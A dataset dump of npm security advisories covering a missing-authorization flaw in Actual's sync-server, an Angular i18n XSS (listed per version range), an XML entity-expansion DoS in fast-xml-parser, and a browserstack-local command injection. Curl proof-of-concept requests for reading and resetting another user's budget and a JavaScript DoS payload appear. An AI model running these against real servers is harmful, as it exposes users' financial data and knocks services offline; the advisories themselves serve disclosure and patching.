deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-qmjj-p7m9-wjrv
Package: @actual-app/sync-server (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-862: Missing Authorization
Vulnerable versions: <= 26.2.0
Patched in: 26.2.1

Summary: @actual-app/sync-server: Missing authorization in sync endpoints allows cross-user budget file access in multi-user mode

Details:
In multi-user mode (OpenID), the sync API endpoints (`/sync/*`) don't verify that the authenticated user owns or has access to the file being operated on. Any authenticated user can read, modify, and overwrite any other user's budget files by providing their file ID.

## Affected Code

File: `packages/sync-server/src/app-sync.ts`

The `validateSessionMiddleware` on line 31 confirms the user is authenticated, but individual endpoints only check that the file *exists* (via `verifyFileExists`), never that the requesting user *owns* or *has access to* the file.

Compare with `POST /sync/delete-user-file` (lines 394-430) which correctly checks:
```js
const isOwner = file.owner === userId;
const isServerAdmin = isAdmin(userId);
if (!isOwner && !isServerAdmin) { ... }
```

This check is missing from all other endpoints.

## Affected Endpoints

- `GET /sync/download-user-file` - download any budget file
- `POST /sync/upload-user-file` - overwrite any budget file
- `POST /sync/sync` - read/write sync messages of any file
- `POST /sync/user-get-key` - read encryption key info
- `POST /sync/user-create-key` - change encryption key
- `POST /sync/reset-user-file` - reset sync state
- `POST /sync/update-user-filename` - rename file
- `GET /sync/get-user-file-info` - read file metadata

## PoC

Setup: Two users (Alice, Bob) authenticated via OpenID on the same Actual server. Alice has a budget with fileId `abc-123`.

Bob downloads Alice's budget:
```bash
curl -X GET 'https://actual.example.com/sync/download-user-file' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'X-Actual-File-Id: abc-123' \
  -o stolen-budget.blob
```

Bob reads Alice's file metadata:
```bash
curl -X GET 'https://actual.example.com/sync/get-user-file-info' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'X-Actual-File-Id: abc-123'
```

Bob renames Alice's budget:
```bash
curl -X POST 'https://actual.example.com/sync/update-user-filename' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"fileId": "abc-123", "name": "pwned"}'
```

Bob resets Alice's sync state (destructive):
```bash
curl -X POST 'https://actual.example.com/sync/reset-user-file' \
  -H 'X-Actual-Token: <bob-session-token>' \
  -H 'Content-Type: application/json' \
  -d '{"fileId": "abc-123"}'
```

File IDs can be discovered by admin users via `GET /sync/list-user-files` (admins see all files), through `user_access` sharing, or by guessing.

## Impact

In multi-user deployments (OpenID mode), any authenticated user can steal other users' complete financial data (transactions, accounts, balances, payees), modify or destroy their budgets, and tamper with encryption keys. This is a personal finance app, so the data is highly sensitive.
GitHub Security Advisory: GHSA-prjf-86w9-mfqv
Package: @angular/core (NPM)
Severity: HIGH (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 18.2.14
Patched in: unpatched

Summary: Angular i18n vulnerable to Cross-Site Scripting

Details:
A [Cross-site Scripting (XSS)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS) vulnerability has been identified in the Angular internationalization (i18n) pipeline. In ICU messages (International Components for Unicode), HTML from translated content was not properly sanitized and could execute arbitrary JavaScript.

Angular i18n typically involves three steps, extracting all messages from an application in the source language, sending the messages to be translated, and then merging their translations back into the final source code. Translations are frequently handled by contracts with specific partner companies, and involve sending the source messages to a separate contractor before receiving final translations for display to the end user.

If the returned translations have malicious content, it could be rendered into the application and execute arbitrary JavaScript.

### Impact
When successfully exploited, this vulnerability allows for execution of attacker controlled JavaScript in the application origin. Depending on the nature of the application being exploited this could lead to:

- **Credential Exfiltration**: Stealing sensitive user data stored in page memory, LocalStorage, IndexedDB, or cookies available to JS and sending them to an attacker controlled server.
- **Page Vandalism:** Mutating the page to read or act differently than intended by the developer.

### Attach Preconditions

- **The attacker must compromise the translation file (xliff, xtb, etc.).**
- Unlike most XSS vulnerabilities, this one is not exploitable by arbitrary users. An attacker must first compromise an application's translation file before they can escalate privileges into the Angular application client.
- The victim application must use Angular i18n.
- The victim application must use one or more ICU messages.
- The victim application must render an ICU message.
- The victim application must not defend against XSS via a safe [Content-Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) or [Trusted Types](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API).

### Patches
- 21.2.0
- 21.1.6
- 20.3.17
- 19.2.19

### Workarounds
Until the patch is applied, developers should consider:

- **Reviewing and verifying translated content** received from untrusted third parties before incorporating it in an Angular application.
- **Enabling strict CSP controls** to block unauthorized JavaScript from executing on the page.
- [**Enabling Trusted Types**](https://angular.dev/best-practices/security#enforcing-trusted-types) to enforce proper HTML sanitization.

### References

- [Fix](https://github.com/angular/angular/pull/67183)
GitHub Security Advisory: GHSA-prjf-86w9-mfqv
Package: @angular/core (NPM)
Severity: HIGH (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 19.0.0-next.0, <= 19.2.18
Patched in: 19.2.19

Summary: Angular i18n vulnerable to Cross-Site Scripting

Details:
A [Cross-site Scripting (XSS)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS) vulnerability has been identified in the Angular internationalization (i18n) pipeline. In ICU messages (International Components for Unicode), HTML from translated content was not properly sanitized and could execute arbitrary JavaScript.

Angular i18n typically involves three steps, extracting all messages from an application in the source language, sending the messages to be translated, and then merging their translations back into the final source code. Translations are frequently handled by contracts with specific partner companies, and involve sending the source messages to a separate contractor before receiving final translations for display to the end user.

If the returned translations have malicious content, it could be rendered into the application and execute arbitrary JavaScript.

### Impact
When successfully exploited, this vulnerability allows for execution of attacker controlled JavaScript in the application origin. Depending on the nature of the application being exploited this could lead to:

- **Credential Exfiltration**: Stealing sensitive user data stored in page memory, LocalStorage, IndexedDB, or cookies available to JS and sending them to an attacker controlled server.
- **Page Vandalism:** Mutating the page to read or act differently than intended by the developer.

### Attach Preconditions

- **The attacker must compromise the translation file (xliff, xtb, etc.).**
- Unlike most XSS vulnerabilities, this one is not exploitable by arbitrary users. An attacker must first compromise an application's translation file before they can escalate privileges into the Angular application client.
- The victim application must use Angular i18n.
- The victim application must use one or more ICU messages.
- The victim application must render an ICU message.
- The victim application must not defend against XSS via a safe [Content-Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) or [Trusted Types](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API).

### Patches
- 21.2.0
- 21.1.6
- 20.3.17
- 19.2.19

### Workarounds
Until the patch is applied, developers should consider:

- **Reviewing and verifying translated content** received from untrusted third parties before incorporating it in an Angular application.
- **Enabling strict CSP controls** to block unauthorized JavaScript from executing on the page.
- [**Enabling Trusted Types**](https://angular.dev/best-practices/security#enforcing-trusted-types) to enforce proper HTML sanitization.

### References

- [Fix](https://github.com/angular/angular/pull/67183)
GitHub Security Advisory: GHSA-prjf-86w9-mfqv
Package: @angular/core (NPM)
Severity: HIGH (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 20.0.0-next.0, <= 20.3.16
Patched in: 20.3.17

Summary: Angular i18n vulnerable to Cross-Site Scripting

Details:
A [Cross-site Scripting (XSS)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS) vulnerability has been identified in the Angular internationalization (i18n) pipeline. In ICU messages (International Components for Unicode), HTML from translated content was not properly sanitized and could execute arbitrary JavaScript.

Angular i18n typically involves three steps, extracting all messages from an application in the source language, sending the messages to be translated, and then merging their translations back into the final source code. Translations are frequently handled by contracts with specific partner companies, and involve sending the source messages to a separate contractor before receiving final translations for display to the end user.

If the returned translations have malicious content, it could be rendered into the application and execute arbitrary JavaScript.

### Impact
When successfully exploited, this vulnerability allows for execution of attacker controlled JavaScript in the application origin. Depending on the nature of the application being exploited this could lead to:

- **Credential Exfiltration**: Stealing sensitive user data stored in page memory, LocalStorage, IndexedDB, or cookies available to JS and sending them to an attacker controlled server.
- **Page Vandalism:** Mutating the page to read or act differently than intended by the developer.

### Attach Preconditions

- **The attacker must compromise the translation file (xliff, xtb, etc.).**
- Unlike most XSS vulnerabilities, this one is not exploitable by arbitrary users. An attacker must first compromise an application's translation file before they can escalate privileges into the Angular application client.
- The victim application must use Angular i18n.
- The victim application must use one or more ICU messages.
- The victim application must render an ICU message.
- The victim application must not defend against XSS via a safe [Content-Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) or [Trusted Types](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API).

### Patches
- 21.2.0
- 21.1.6
- 20.3.17
- 19.2.19

### Workarounds
Until the patch is applied, developers should consider:

- **Reviewing and verifying translated content** received from untrusted third parties before incorporating it in an Angular application.
- **Enabling strict CSP controls** to block unauthorized JavaScript from executing on the page.
- [**Enabling Trusted Types**](https://angular.dev/best-practices/security#enforcing-trusted-types) to enforce proper HTML sanitization.

### References

- [Fix](https://github.com/angular/angular/pull/67183)
GitHub Security Advisory: GHSA-prjf-86w9-mfqv
Package: @angular/core (NPM)
Severity: HIGH (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 21.0.0-next.0, <= 21.1.5
Patched in: 21.1.6

Summary: Angular i18n vulnerable to Cross-Site Scripting

Details:
A [Cross-site Scripting (XSS)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS) vulnerability has been identified in the Angular internationalization (i18n) pipeline. In ICU messages (International Components for Unicode), HTML from translated content was not properly sanitized and could execute arbitrary JavaScript.

Angular i18n typically involves three steps, extracting all messages from an application in the source language, sending the messages to be translated, and then merging their translations back into the final source code. Translations are frequently handled by contracts with specific partner companies, and involve sending the source messages to a separate contractor before receiving final translations for display to the end user.

If the returned translations have malicious content, it could be rendered into the application and execute arbitrary JavaScript.

### Impact
When successfully exploited, this vulnerability allows for execution of attacker controlled JavaScript in the application origin. Depending on the nature of the application being exploited this could lead to:

- **Credential Exfiltration**: Stealing sensitive user data stored in page memory, LocalStorage, IndexedDB, or cookies available to JS and sending them to an attacker controlled server.
- **Page Vandalism:** Mutating the page to read or act differently than intended by the developer.

### Attach Preconditions

- **The attacker must compromise the translation file (xliff, xtb, etc.).**
- Unlike most XSS vulnerabilities, this one is not exploitable by arbitrary users. An attacker must first compromise an application's translation file before they can escalate privileges into the Angular application client.
- The victim application must use Angular i18n.
- The victim application must use one or more ICU messages.
- The victim application must render an ICU message.
- The victim application must not defend against XSS via a safe [Content-Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) or [Trusted Types](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API).

### Patches
- 21.2.0
- 21.1.6
- 20.3.17
- 19.2.19

### Workarounds
Until the patch is applied, developers should consider:

- **Reviewing and verifying translated content** received from untrusted third parties before incorporating it in an Angular application.
- **Enabling strict CSP controls** to block unauthorized JavaScript from executing on the page.
- [**Enabling Trusted Types**](https://angular.dev/best-practices/security#enforcing-trusted-types) to enforce proper HTML sanitization.

### References

- [Fix](https://github.com/angular/angular/pull/67183)
GitHub Security Advisory: GHSA-prjf-86w9-mfqv
Package: @angular/core (NPM)
Severity: HIGH (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: >= 21.2.0-next.0, <= 21.2.0-rc.0
Patched in: 21.2.0

Summary: Angular i18n vulnerable to Cross-Site Scripting

Details:
A [Cross-site Scripting (XSS)](https://developer.mozilla.org/en-US/docs/Web/Security/Attacks/XSS) vulnerability has been identified in the Angular internationalization (i18n) pipeline. In ICU messages (International Components for Unicode), HTML from translated content was not properly sanitized and could execute arbitrary JavaScript.

Angular i18n typically involves three steps, extracting all messages from an application in the source language, sending the messages to be translated, and then merging their translations back into the final source code. Translations are frequently handled by contracts with specific partner companies, and involve sending the source messages to a separate contractor before receiving final translations for display to the end user.

If the returned translations have malicious content, it could be rendered into the application and execute arbitrary JavaScript.

### Impact
When successfully exploited, this vulnerability allows for execution of attacker controlled JavaScript in the application origin. Depending on the nature of the application being exploited this could lead to:

- **Credential Exfiltration**: Stealing sensitive user data stored in page memory, LocalStorage, IndexedDB, or cookies available to JS and sending them to an attacker controlled server.
- **Page Vandalism:** Mutating the page to read or act differently than intended by the developer.

### Attach Preconditions

- **The attacker must compromise the translation file (xliff, xtb, etc.).**
- Unlike most XSS vulnerabilities, this one is not exploitable by arbitrary users. An attacker must first compromise an application's translation file before they can escalate privileges into the Angular application client.
- The victim application must use Angular i18n.
- The victim application must use one or more ICU messages.
- The victim application must render an ICU message.
- The victim application must not defend against XSS via a safe [Content-Security Policy (CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) or [Trusted Types](https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API).

### Patches
- 21.2.0
- 21.1.6
- 20.3.17
- 19.2.19

### Workarounds
Until the patch is applied, developers should consider:

- **Reviewing and verifying translated content** received from untrusted third parties before incorporating it in an Angular application.
- **Enabling strict CSP controls** to block unauthorized JavaScript from executing on the page.
- [**Enabling Trusted Types**](https://angular.dev/best-practices/security#enforcing-trusted-types) to enforce proper HTML sanitization.

### References

- [Fix](https://github.com/angular/angular/pull/67183)
GitHub Security Advisory: GHSA-jmr7-xgp7-cmfj
Package: fast-xml-parser (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
Vulnerable versions: >= 5.0.0, < 5.3.6
Patched in: 5.3.6

Summary: fast-xml-parser affected by DoS through entity expansion in DOCTYPE (no expansion limit)

Details:
### Summary
The XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.

### Details
There is a check in `DocTypeReader.js` that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for & inside entity values). This does stop classic “Billion Laughs” payloads.

However, it doesn’t stop a much simpler variant.

If you define one large entity that contains only raw text (no & characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.

The problem is in `replaceEntitiesValue()` inside `OrderedObjParser.js`. It repeatedly runs `val.replace()` in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.

Relevant code:

`DocTypeReader.js` (lines 28–33): entity registration only checks for &

`OrderedObjParser.js` (lines 439–458): entity replacement loop with no limits

### PoC

```js
const { XMLParser } = require('fast-xml-parser');

const entity = 'A'.repeat(1000);
const refs = '&big;'.repeat(100);
const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`;

console.time('parse');
new XMLParser().parse(xml); // ~4–8 seconds for ~1.3 KB of XML
console.timeEnd('parse');

// 5,000 chars × 100 refs takes 200+ seconds
// 50,000 chars × 1,000 refs will hang indefinitely
```

### Impact
This is a straightforward denial-of-service issue.

Any service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can’t handle any other requests.

In testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.

### Workaround

Avoid using DOCTYPE parsing by `processEntities: false` option.
GitHub Security Advisory: GHSA-jmr7-xgp7-cmfj
Package: fast-xml-parser (NPM)
Severity: HIGH (CVSS 7.5)
CWE: CWE-776: Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')
Vulnerable versions: >= 4.1.3, < 4.5.4
Patched in: 4.5.4

Summary: fast-xml-parser affected by DoS through entity expansion in DOCTYPE (no expansion limit)

Details:
### Summary
The XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.

### Details
There is a check in `DocTypeReader.js` that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for & inside entity values). This does stop classic “Billion Laughs” payloads.

However, it doesn’t stop a much simpler variant.

If you define one large entity that contains only raw text (no & characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.

The problem is in `replaceEntitiesValue()` inside `OrderedObjParser.js`. It repeatedly runs `val.replace()` in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.

Relevant code:

`DocTypeReader.js` (lines 28–33): entity registration only checks for &

`OrderedObjParser.js` (lines 439–458): entity replacement loop with no limits

### PoC

```js
const { XMLParser } = require('fast-xml-parser');

const entity = 'A'.repeat(1000);
const refs = '&big;'.repeat(100);
const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`;

console.time('parse');
new XMLParser().parse(xml); // ~4–8 seconds for ~1.3 KB of XML
console.timeEnd('parse');

// 5,000 chars × 100 refs takes 200+ seconds
// 50,000 chars × 1,000 refs will hang indefinitely
```

### Impact
This is a straightforward denial-of-service issue.

Any service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can’t handle any other requests.

In testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.

### Workaround

Avoid using DOCTYPE parsing by `processEntities: false` option.
GitHub Security Advisory: GHSA-g4w6-c99w-4wh7
Package: browserstack-local (NPM)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-77: Improper Neutralization of Special Elements used in a Command ('Command Injection')
Vulnerable versions: <= 1.5.8
Patched in: 1.5.9

Summary: BrowserStack Local vulnerable to Command Injection through logfile variable

Details:
The Node.js package browserstack-local 1.5.8 contains a command injection vulnerability. This occurs because the logfile variable is not properly sanitized in lib/Local.js.